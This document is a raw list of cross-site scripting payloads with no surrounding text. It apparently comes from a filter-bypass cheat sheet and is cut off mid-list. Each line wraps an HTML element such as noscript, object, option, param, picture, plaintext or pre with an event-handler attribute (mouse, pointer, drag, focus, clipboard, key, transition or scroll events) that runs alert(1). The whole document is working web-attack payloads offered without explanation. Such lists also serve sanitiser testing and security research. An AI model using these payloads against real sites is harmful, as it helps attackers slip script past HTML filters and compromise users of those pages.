<noframes onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></noframes>
<noscript contenteditable onbeforeinput=alert(1)>test
<noscript draggable="true" ondrag="alert(1)" style=display:block>test</noscript>
<noscript draggable="true" ondragend="alert(1)" style=display:block>test</noscript>
<noscript draggable="true" ondragenter="alert(1)" style=display:block>test</noscript>
<noscript draggable="true" ondragleave="alert(1)" style=display:block>test</noscript>
<noscript draggable="true" ondragstart="alert(1)" style=display:block>test</noscript>
<noscript id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></noscript>
<noscript id=x tabindex=1 onfocus=alert(1)></noscript>
<noscript id=x tabindex=1 onfocusin=alert(1)></noscript>
<noscript onafterscriptexecute=alert(1)><script>1</script>
<noscript onbeforecopy="alert(1)" contenteditable>test</noscript>
<noscript onbeforecut="alert(1)" contenteditable>test</noscript>
<noscript onbeforescriptexecute=alert(1)><script>1</script>
<noscript onblur=alert(1) id=x tabindex=1 style=display:block>test</noscript><input value=clickme>
<noscript onclick="alert(1)" style=display:block>test</noscript>
<noscript oncontextmenu="alert(1)" style=display:block>test</noscript>
<noscript oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<noscript oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<noscript ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</noscript>
<noscript onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</noscript><input value=clickme>
<noscript onkeydown="alert(1)" contenteditable style=display:block>test</noscript>
<noscript onkeypress="alert(1)" contenteditable style=display:block>test</noscript>
<noscript onkeyup="alert(1)" contenteditable style=display:block>test</noscript>
<noscript onmousedown="alert(1)" style=display:block>test</noscript>
<noscript onmouseenter="alert(1)" style=display:block>test</noscript>
<noscript onmouseleave="alert(1)" style=display:block>test</noscript>
<noscript onmousemove="alert(1)" style=display:block>test</noscript>
<noscript onmouseout="alert(1)" style=display:block>test</noscript>
<noscript onmouseover="alert(1)" style=display:block>test</noscript>
<noscript onmouseup="alert(1)" style=display:block>test</noscript>
<noscript onmousewheel=alert(1) style=display:block>requires scrolling
<noscript onpaste="alert(1)" contenteditable>test</noscript>
<noscript onpointerdown=alert(1) style=display:block>XSS</noscript>
<noscript onpointerenter=alert(1) style=display:block>XSS</noscript>
<noscript onpointerleave=alert(1) style=display:block>XSS</noscript>
<noscript onpointermove=alert(1) style=display:block>XSS</noscript>
<noscript onpointerout=alert(1) style=display:block>XSS</noscript>
<noscript onpointerover=alert(1) style=display:block>XSS</noscript>
<noscript onpointerrawupdate=alert(1) style=display:block>XSS</noscript>
<noscript onpointerup=alert(1) style=display:block>XSS</noscript>
<noscript onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></noscript>
<object contenteditable onbeforeinput=alert(1)>test
<object data=/ onload=alert(1)>
<object draggable="true" ondrag="alert(1)" style=display:block>test</object>
<object draggable="true" ondragend="alert(1)" style=display:block>test</object>
<object draggable="true" ondragenter="alert(1)" style=display:block>test</object>
<object draggable="true" ondragleave="alert(1)" style=display:block>test</object>
<object draggable="true" ondragstart="alert(1)" style=display:block>test</object>
<object id=x onfocus=alert(1) type=text/html>
<object id=x onfocusin=alert(1) type=text/html>
<object id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></object>
<object onafterscriptexecute=alert(1)><script>1</script>
<object onbeforecopy="alert(1)" contenteditable>test</object>
<object onbeforecut="alert(1)" contenteditable>test</object>
<object onbeforescriptexecute=alert(1)><script>1</script>
<object onblur=alert(1) id=x tabindex=1 style=display:block>test</object><input value=clickme>
<object onclick="alert(1)" style=display:block>test</object>
<object oncontextmenu="alert(1)" style=display:block>test</object>
<object oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<object oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<object ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</object>
<object onerror=alert(1) data=1 type=image/gif>
<object onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</object><input value=clickme>
<object onkeydown="alert(1)" contenteditable style=display:block>test</object>
<object onkeypress="alert(1)" contenteditable style=display:block>test</object>
<object onkeyup="alert(1)" contenteditable style=display:block>test</object>
<object onmousedown="alert(1)" style=display:block>test</object>
<object onmouseenter="alert(1)" style=display:block>test</object>
<object onmouseleave="alert(1)" style=display:block>test</object>
<object onmousemove="alert(1)" style=display:block>test</object>
<object onmouseout="alert(1)" style=display:block>test</object>
<object onmouseover="alert(1)" style=display:block>test</object>
<object onmouseup="alert(1)" style=display:block>test</object>
<object onmousewheel=alert(1) style=display:block>requires scrolling
<object onpaste="alert(1)" contenteditable>test</object>
<object onpointerdown=alert(1) style=display:block>XSS</object>
<object onpointerenter=alert(1) style=display:block>XSS</object>
<object onpointerleave=alert(1) style=display:block>XSS</object>
<object onpointermove=alert(1) style=display:block>XSS</object>
<object onpointerout=alert(1) style=display:block>XSS</object>
<object onpointerover=alert(1) style=display:block>XSS</object>
<object onpointerrawupdate=alert(1) style=display:block>XSS</object>
<object onpointerup=alert(1) style=display:block>XSS</object>
<object onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></object>
<ol contenteditable onbeforeinput=alert(1)>test
<ol draggable="true" ondrag="alert(1)" style=display:block>test</ol>
<ol draggable="true" ondragend="alert(1)" style=display:block>test</ol>
<ol draggable="true" ondragenter="alert(1)" style=display:block>test</ol>
<ol draggable="true" ondragleave="alert(1)" style=display:block>test</ol>
<ol draggable="true" ondragstart="alert(1)" style=display:block>test</ol>
<ol id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></ol>
<ol id=x tabindex=1 onfocus=alert(1)></ol>
<ol id=x tabindex=1 onfocusin=alert(1)></ol>
<ol onafterscriptexecute=alert(1)><script>1</script>
<ol onbeforecopy="alert(1)" contenteditable>test</ol>
<ol onbeforecut="alert(1)" contenteditable>test</ol>
<ol onbeforescriptexecute=alert(1)><script>1</script>
<ol onblur=alert(1) id=x tabindex=1 style=display:block>test</ol><input value=clickme>
<ol onclick="alert(1)" style=display:block>test</ol>
<ol oncontextmenu="alert(1)" style=display:block>test</ol>
<ol oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<ol oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<ol ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</ol>
<ol onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</ol><input value=clickme>
<ol onkeydown="alert(1)" contenteditable style=display:block>test</ol>
<ol onkeypress="alert(1)" contenteditable style=display:block>test</ol>
<ol onkeyup="alert(1)" contenteditable style=display:block>test</ol>
<ol onmousedown="alert(1)" style=display:block>test</ol>
<ol onmouseenter="alert(1)" style=display:block>test</ol>
<ol onmouseleave="alert(1)" style=display:block>test</ol>
<ol onmousemove="alert(1)" style=display:block>test</ol>
<ol onmouseout="alert(1)" style=display:block>test</ol>
<ol onmouseover="alert(1)" style=display:block>test</ol>
<ol onmouseup="alert(1)" style=display:block>test</ol>
<ol onmousewheel=alert(1) style=display:block>requires scrolling
<ol onpaste="alert(1)" contenteditable>test</ol>
<ol onpointerdown=alert(1) style=display:block>XSS</ol>
<ol onpointerenter=alert(1) style=display:block>XSS</ol>
<ol onpointerleave=alert(1) style=display:block>XSS</ol>
<ol onpointermove=alert(1) style=display:block>XSS</ol>
<ol onpointerout=alert(1) style=display:block>XSS</ol>
<ol onpointerover=alert(1) style=display:block>XSS</ol>
<ol onpointerrawupdate=alert(1) style=display:block>XSS</ol>
<ol onpointerup=alert(1) style=display:block>XSS</ol>
<ol onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></ol>
<optgroup contenteditable onbeforeinput=alert(1)>test
<optgroup draggable="true" ondrag="alert(1)" style=display:block>test</optgroup>
<optgroup draggable="true" ondragend="alert(1)" style=display:block>test</optgroup>
<optgroup draggable="true" ondragenter="alert(1)" style=display:block>test</optgroup>
<optgroup draggable="true" ondragleave="alert(1)" style=display:block>test</optgroup>
<optgroup draggable="true" ondragstart="alert(1)" style=display:block>test</optgroup>
<optgroup id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></optgroup>
<optgroup id=x tabindex=1 onfocus=alert(1)></optgroup>
<optgroup id=x tabindex=1 onfocusin=alert(1)></optgroup>
<optgroup onafterscriptexecute=alert(1)><script>1</script>
<optgroup onbeforecopy="alert(1)" contenteditable>test</optgroup>
<optgroup onbeforecut="alert(1)" contenteditable>test</optgroup>
<optgroup onbeforescriptexecute=alert(1)><script>1</script>
<optgroup onblur=alert(1) id=x tabindex=1 style=display:block>test</optgroup><input value=clickme>
<optgroup onclick="alert(1)" style=display:block>test</optgroup>
<optgroup oncontextmenu="alert(1)" style=display:block>test</optgroup>
<optgroup oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<optgroup oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<optgroup ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</optgroup>
<optgroup onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</optgroup><input value=clickme>
<optgroup onkeydown="alert(1)" contenteditable style=display:block>test</optgroup>
<optgroup onkeypress="alert(1)" contenteditable style=display:block>test</optgroup>
<optgroup onkeyup="alert(1)" contenteditable style=display:block>test</optgroup>
<optgroup onmousedown="alert(1)" style=display:block>test</optgroup>
<optgroup onmouseenter="alert(1)" style=display:block>test</optgroup>
<optgroup onmouseleave="alert(1)" style=display:block>test</optgroup>
<optgroup onmousemove="alert(1)" style=display:block>test</optgroup>
<optgroup onmouseout="alert(1)" style=display:block>test</optgroup>
<optgroup onmouseover="alert(1)" style=display:block>test</optgroup>
<optgroup onmouseup="alert(1)" style=display:block>test</optgroup>
<optgroup onmousewheel=alert(1) style=display:block>requires scrolling
<optgroup onpaste="alert(1)" contenteditable>test</optgroup>
<optgroup onpointerdown=alert(1) style=display:block>XSS</optgroup>
<optgroup onpointerenter=alert(1) style=display:block>XSS</optgroup>
<optgroup onpointerleave=alert(1) style=display:block>XSS</optgroup>
<optgroup onpointermove=alert(1) style=display:block>XSS</optgroup>
<optgroup onpointerout=alert(1) style=display:block>XSS</optgroup>
<optgroup onpointerover=alert(1) style=display:block>XSS</optgroup>
<optgroup onpointerrawupdate=alert(1) style=display:block>XSS</optgroup>
<optgroup onpointerup=alert(1) style=display:block>XSS</optgroup>
<optgroup onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></optgroup>
<option contenteditable onbeforeinput=alert(1)>test
<option draggable="true" ondrag="alert(1)" style=display:block>test</option>
<option draggable="true" ondragend="alert(1)" style=display:block>test</option>
<option draggable="true" ondragenter="alert(1)" style=display:block>test</option>
<option draggable="true" ondragleave="alert(1)" style=display:block>test</option>
<option draggable="true" ondragstart="alert(1)" style=display:block>test</option>
<option id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></option>
<option id=x tabindex=1 onfocus=alert(1)></option>
<option id=x tabindex=1 onfocusin=alert(1)></option>
<option onafterscriptexecute=alert(1)><script>1</script>
<option onbeforecopy="alert(1)" contenteditable>test</option>
<option onbeforecut="alert(1)" contenteditable>test</option>
<option onbeforescriptexecute=alert(1)><script>1</script>
<option onblur=alert(1) id=x tabindex=1 style=display:block>test</option><input value=clickme>
<option onclick="alert(1)" style=display:block>test</option>
<option oncontextmenu="alert(1)" style=display:block>test</option>
<option oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<option oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<option ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</option>
<option onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</option><input value=clickme>
<option onkeydown="alert(1)" contenteditable style=display:block>test</option>
<option onkeypress="alert(1)" contenteditable style=display:block>test</option>
<option onkeyup="alert(1)" contenteditable style=display:block>test</option>
<option onmousedown="alert(1)" style=display:block>test</option>
<option onmouseenter="alert(1)" style=display:block>test</option>
<option onmouseleave="alert(1)" style=display:block>test</option>
<option onmousemove="alert(1)" style=display:block>test</option>
<option onmouseout="alert(1)" style=display:block>test</option>
<option onmouseover="alert(1)" style=display:block>test</option>
<option onmouseup="alert(1)" style=display:block>test</option>
<option onmousewheel=alert(1) style=display:block>requires scrolling
<option onpaste="alert(1)" contenteditable>test</option>
<option onpointerdown=alert(1) style=display:block>XSS</option>
<option onpointerenter=alert(1) style=display:block>XSS</option>
<option onpointerleave=alert(1) style=display:block>XSS</option>
<option onpointermove=alert(1) style=display:block>XSS</option>
<option onpointerout=alert(1) style=display:block>XSS</option>
<option onpointerover=alert(1) style=display:block>XSS</option>
<option onpointerrawupdate=alert(1) style=display:block>XSS</option>
<option onpointerup=alert(1) style=display:block>XSS</option>
<option onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></option>
<output contenteditable onbeforeinput=alert(1)>test
<output draggable="true" ondrag="alert(1)" style=display:block>test</output>
<output draggable="true" ondragend="alert(1)" style=display:block>test</output>
<output draggable="true" ondragenter="alert(1)" style=display:block>test</output>
<output draggable="true" ondragleave="alert(1)" style=display:block>test</output>
<output draggable="true" ondragstart="alert(1)" style=display:block>test</output>
<output id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></output>
<output id=x tabindex=1 onfocus=alert(1)></output>
<output id=x tabindex=1 onfocusin=alert(1)></output>
<output onafterscriptexecute=alert(1)><script>1</script>
<output onbeforecopy="alert(1)" contenteditable>test</output>
<output onbeforecut="alert(1)" contenteditable>test</output>
<output onbeforescriptexecute=alert(1)><script>1</script>
<output onblur=alert(1) id=x tabindex=1 style=display:block>test</output><input value=clickme>
<output onclick="alert(1)" style=display:block>test</output>
<output oncontextmenu="alert(1)" style=display:block>test</output>
<output oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<output oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<output ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</output>
<output onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</output><input value=clickme>
<output onkeydown="alert(1)" contenteditable style=display:block>test</output>
<output onkeypress="alert(1)" contenteditable style=display:block>test</output>
<output onkeyup="alert(1)" contenteditable style=display:block>test</output>
<output onmousedown="alert(1)" style=display:block>test</output>
<output onmouseenter="alert(1)" style=display:block>test</output>
<output onmouseleave="alert(1)" style=display:block>test</output>
<output onmousemove="alert(1)" style=display:block>test</output>
<output onmouseout="alert(1)" style=display:block>test</output>
<output onmouseover="alert(1)" style=display:block>test</output>
<output onmouseup="alert(1)" style=display:block>test</output>
<output onmousewheel=alert(1) style=display:block>requires scrolling
<output onpaste="alert(1)" contenteditable>test</output>
<output onpointerdown=alert(1) style=display:block>XSS</output>
<output onpointerenter=alert(1) style=display:block>XSS</output>
<output onpointerleave=alert(1) style=display:block>XSS</output>
<output onpointermove=alert(1) style=display:block>XSS</output>
<output onpointerout=alert(1) style=display:block>XSS</output>
<output onpointerover=alert(1) style=display:block>XSS</output>
<output onpointerrawupdate=alert(1) style=display:block>XSS</output>
<output onpointerup=alert(1) style=display:block>XSS</output>
<output onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></output>
<p contenteditable onbeforeinput=alert(1)>test
<p draggable="true" ondrag="alert(1)" style=display:block>test</p>
<p draggable="true" ondragend="alert(1)" style=display:block>test</p>
<p draggable="true" ondragenter="alert(1)" style=display:block>test</p>
<p draggable="true" ondragleave="alert(1)" style=display:block>test</p>
<p draggable="true" ondragstart="alert(1)" style=display:block>test</p>
<p id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></p>
<p id=x tabindex=1 onfocus=alert(1)></p>
<p id=x tabindex=1 onfocusin=alert(1)></p>
<p onafterscriptexecute=alert(1)><script>1</script>
<p onbeforecopy="alert(1)" contenteditable>test</p>
<p onbeforecut="alert(1)" contenteditable>test</p>
<p onbeforescriptexecute=alert(1)><script>1</script>
<p onblur=alert(1) id=x tabindex=1 style=display:block>test</p><input value=clickme>
<p onclick="alert(1)" style=display:block>test</p>
<p oncontextmenu="alert(1)" style=display:block>test</p>
<p oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<p oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<p ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</p>
<p onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</p><input value=clickme>
<p onkeydown="alert(1)" contenteditable style=display:block>test</p>
<p onkeypress="alert(1)" contenteditable style=display:block>test</p>
<p onkeyup="alert(1)" contenteditable style=display:block>test</p>
<p onmousedown="alert(1)" style=display:block>test</p>
<p onmouseenter="alert(1)" style=display:block>test</p>
<p onmouseleave="alert(1)" style=display:block>test</p>
<p onmousemove="alert(1)" style=display:block>test</p>
<p onmouseout="alert(1)" style=display:block>test</p>
<p onmouseover="alert(1)" style=display:block>test</p>
<p onmouseup="alert(1)" style=display:block>test</p>
<p onmousewheel=alert(1) style=display:block>requires scrolling
<p onpaste="alert(1)" contenteditable>test</p>
<p onpointerdown=alert(1) style=display:block>XSS</p>
<p onpointerenter=alert(1) style=display:block>XSS</p>
<p onpointerleave=alert(1) style=display:block>XSS</p>
<p onpointermove=alert(1) style=display:block>XSS</p>
<p onpointerout=alert(1) style=display:block>XSS</p>
<p onpointerover=alert(1) style=display:block>XSS</p>
<p onpointerrawupdate=alert(1) style=display:block>XSS</p>
<p onpointerup=alert(1) style=display:block>XSS</p>
<p onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></p>
<param contenteditable onbeforeinput=alert(1)>test
<param draggable="true" ondrag="alert(1)" style=display:block>test</param>
<param draggable="true" ondragend="alert(1)" style=display:block>test</param>
<param draggable="true" ondragenter="alert(1)" style=display:block>test</param>
<param draggable="true" ondragleave="alert(1)" style=display:block>test</param>
<param draggable="true" ondragstart="alert(1)" style=display:block>test</param>
<param id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></param>
<param id=x tabindex=1 onfocus=alert(1)></param>
<param id=x tabindex=1 onfocusin=alert(1)></param>
<param onafterscriptexecute=alert(1)><script>1</script>
<param onbeforecopy="alert(1)" contenteditable>test</param>
<param onbeforecut="alert(1)" contenteditable>test</param>
<param onbeforescriptexecute=alert(1)><script>1</script>
<param onblur=alert(1) id=x tabindex=1 style=display:block>test</param><input value=clickme>
<param onclick="alert(1)" style=display:block>test</param>
<param oncontextmenu="alert(1)" style=display:block>test</param>
<param oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<param oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<param ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</param>
<param onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</param><input value=clickme>
<param onkeydown="alert(1)" contenteditable style=display:block>test</param>
<param onkeypress="alert(1)" contenteditable style=display:block>test</param>
<param onkeyup="alert(1)" contenteditable style=display:block>test</param>
<param onmousedown="alert(1)" style=display:block>test</param>
<param onmouseenter="alert(1)" style=display:block>test</param>
<param onmouseleave="alert(1)" style=display:block>test</param>
<param onmousemove="alert(1)" style=display:block>test</param>
<param onmouseout="alert(1)" style=display:block>test</param>
<param onmouseover="alert(1)" style=display:block>test</param>
<param onmouseup="alert(1)" style=display:block>test</param>
<param onmousewheel=alert(1) style=display:block>requires scrolling
<param onpaste="alert(1)" contenteditable>test</param>
<param onpointerdown=alert(1) style=display:block>XSS</param>
<param onpointerenter=alert(1) style=display:block>XSS</param>
<param onpointerleave=alert(1) style=display:block>XSS</param>
<param onpointermove=alert(1) style=display:block>XSS</param>
<param onpointerout=alert(1) style=display:block>XSS</param>
<param onpointerover=alert(1) style=display:block>XSS</param>
<param onpointerrawupdate=alert(1) style=display:block>XSS</param>
<param onpointerup=alert(1) style=display:block>XSS</param>
<param onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></param>
<picture contenteditable onbeforeinput=alert(1)>test
<picture draggable="true" ondrag="alert(1)" style=display:block>test</picture>
<picture draggable="true" ondragend="alert(1)" style=display:block>test</picture>
<picture draggable="true" ondragenter="alert(1)" style=display:block>test</picture>
<picture draggable="true" ondragleave="alert(1)" style=display:block>test</picture>
<picture draggable="true" ondragstart="alert(1)" style=display:block>test</picture>
<picture id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></picture>
<picture id=x tabindex=1 onfocus=alert(1)></picture>
<picture id=x tabindex=1 onfocusin=alert(1)></picture>
<picture onafterscriptexecute=alert(1)><script>1</script>
<picture onbeforecopy="alert(1)" contenteditable>test</picture>
<picture onbeforecut="alert(1)" contenteditable>test</picture>
<picture onbeforescriptexecute=alert(1)><script>1</script>
<picture onblur=alert(1) id=x tabindex=1 style=display:block>test</picture><input value=clickme>
<picture onclick="alert(1)" style=display:block>test</picture>
<picture oncontextmenu="alert(1)" style=display:block>test</picture>
<picture oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<picture oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<picture ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</picture>
<picture onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</picture><input value=clickme>
<picture onkeydown="alert(1)" contenteditable style=display:block>test</picture>
<picture onkeypress="alert(1)" contenteditable style=display:block>test</picture>
<picture onkeyup="alert(1)" contenteditable style=display:block>test</picture>
<picture onmousedown="alert(1)" style=display:block>test</picture>
<picture onmouseenter="alert(1)" style=display:block>test</picture>
<picture onmouseleave="alert(1)" style=display:block>test</picture>
<picture onmousemove="alert(1)" style=display:block>test</picture>
<picture onmouseout="alert(1)" style=display:block>test</picture>
<picture onmouseover="alert(1)" style=display:block>test</picture>
<picture onmouseup="alert(1)" style=display:block>test</picture>
<picture onmousewheel=alert(1) style=display:block>requires scrolling
<picture onpaste="alert(1)" contenteditable>test</picture>
<picture onpointerdown=alert(1) style=display:block>XSS</picture>
<picture onpointerenter=alert(1) style=display:block>XSS</picture>
<picture onpointerleave=alert(1) style=display:block>XSS</picture>
<picture onpointermove=alert(1) style=display:block>XSS</picture>
<picture onpointerout=alert(1) style=display:block>XSS</picture>
<picture onpointerover=alert(1) style=display:block>XSS</picture>
<picture onpointerrawupdate=alert(1) style=display:block>XSS</picture>
<picture onpointerup=alert(1) style=display:block>XSS</picture>
<picture onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></picture>
<picture><source srcset="validimage.png"><image onload=alert(1)></picture>
<picture><source srcset="validimage.png"><img onload=alert(1)></picture>
<plaintext contenteditable onbeforeinput=alert(1)>test
<plaintext draggable="true" ondrag="alert(1)" style=display:block>test</plaintext>
<plaintext draggable="true" ondragend="alert(1)" style=display:block>test</plaintext>
<plaintext draggable="true" ondragenter="alert(1)" style=display:block>test</plaintext>
<plaintext draggable="true" ondragleave="alert(1)" style=display:block>test</plaintext>
<plaintext draggable="true" ondragstart="alert(1)" style=display:block>test</plaintext>
<plaintext id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></plaintext>
<plaintext id=x tabindex=1 onfocus=alert(1)></plaintext>
<plaintext id=x tabindex=1 onfocusin=alert(1)></plaintext>
<plaintext onafterscriptexecute=alert(1)><script>1</script>
<plaintext onbeforecopy="alert(1)" contenteditable>test</plaintext>
<plaintext onbeforecut="alert(1)" contenteditable>test</plaintext>
<plaintext onbeforescriptexecute=alert(1)><script>1</script>
<plaintext onblur=alert(1) id=x tabindex=1 style=display:block>test</plaintext><input value=clickme>
<plaintext onclick="alert(1)" style=display:block>test</plaintext>
<plaintext oncontextmenu="alert(1)" style=display:block>test</plaintext>
<plaintext oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<plaintext oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<plaintext ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</plaintext>
<plaintext onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</plaintext><input value=clickme>
<plaintext onkeydown="alert(1)" contenteditable style=display:block>test</plaintext>
<plaintext onkeypress="alert(1)" contenteditable style=display:block>test</plaintext>
<plaintext onkeyup="alert(1)" contenteditable style=display:block>test</plaintext>
<plaintext onmousedown="alert(1)" style=display:block>test</plaintext>
<plaintext onmouseenter="alert(1)" style=display:block>test</plaintext>
<plaintext onmouseleave="alert(1)" style=display:block>test</plaintext>
<plaintext onmousemove="alert(1)" style=display:block>test</plaintext>
<plaintext onmouseout="alert(1)" style=display:block>test</plaintext>
<plaintext onmouseover="alert(1)" style=display:block>test</plaintext>
<plaintext onmouseup="alert(1)" style=display:block>test</plaintext>
<plaintext onmousewheel=alert(1) style=display:block>requires scrolling
<plaintext onpaste="alert(1)" contenteditable>test</plaintext>
<plaintext onpointerdown=alert(1) style=display:block>XSS</plaintext>
<plaintext onpointerenter=alert(1) style=display:block>XSS</plaintext>
<plaintext onpointerleave=alert(1) style=display:block>XSS</plaintext>
<plaintext onpointermove=alert(1) style=display:block>XSS</plaintext>
<plaintext onpointerout=alert(1) style=display:block>XSS</plaintext>
<plaintext onpointerover=alert(1) style=display:block>XSS</plaintext>
<plaintext onpointerrawupdate=alert(1) style=display:block>XSS</plaintext>
<plaintext onpointerup=alert(1) style=display:block>XSS</plaintext>
<plaintext onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></plaintext>
<pre contenteditable onbeforeinput=alert(1)>test
<pre draggable="true" ondrag="alert(1)" style=display:block>test</pre>
<pre draggable="true" ondragend="alert(1)" style=display:block>test</pre>
<pre draggable="true" ondragenter="alert(1)" style=display:block>test</pre>
<pre draggable="true" ondragleave="alert(1)" style=display:block>test</pre>
<pre draggable="true" ondragstart="alert(1)" style=display:block>test</pre>
<pre id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></pre>
<pre id=x tabindex=1 onfocus=alert(1)></pre>
<pre id=x tabindex=1 onfocusin=alert(1)></pre>
<pre onafterscriptexecute=alert(1)><script>1</script>
<pre onbeforecopy="alert(1)" contenteditable>test</pre>
<pre onbeforecut="alert(1)" contenteditable>test</pre>
<pre onbeforescriptexecute=alert(1)><script>1</script>
<pre onblur=alert(1) id=x tabindex=1 style=display:block>test</pre><input value=clickme>
<pre onclick="alert(1)" style=display:block>test</pre>
<pre oncontextmenu="alert(1)" style=display:block>test</pre>
<pre oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<pre oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<pre ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</pre>
<pre onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</pre><input value=clickme>
<pre onkeydown="alert(1)" contenteditable style=display:block>test</pre>
<pre onkeypress="alert(1)" contenteditable style=display:block>test</pre>
<pre onkeyup="alert(1)" contenteditable style=display:block>test</pre>
<pre onmousedown="alert(1)" style=display:block>test</pre>
<pre onmouseenter="alert(1)" style=display:block>test</pre>
<pre onmouseleave="alert(1)" style=display:block>test</pre>
<pre onmousemove="alert(1)" style=display:block>test</pre>
<pre onmouseout="alert(1)" style=display:block>test</pre>
<pre onmouseover="alert(1)" style=display:block>test</pre>
<pre onmouseup="alert(1)" style=display:block>test</pre>
<pre onmousewheel=alert(1) style=display:block>requires scrolling
<pre onpaste="alert(1)" contenteditable>test</pre>
<pre onpointerdown=alert(1) style=display:block>XSS</pre>
<pre onpointerenter=alert(1) style=display:block>XSS</pre>
<pre onpointerleave=alert(1) style=display:block>XSS</pre>
<pre onpointermove=alert(1) style=display:block>XSS</pre>
<pre onpointerout=alert(1) style=display:block>XSS</pre>
<pre onpointerover=alert(1) style=display:block>XSS</pre>
<pre onpointerrawupdate=alert(1) style=display:block>XSS</pre>
<pre onpointerup=alert(1) style=display:block>XSS</pre>
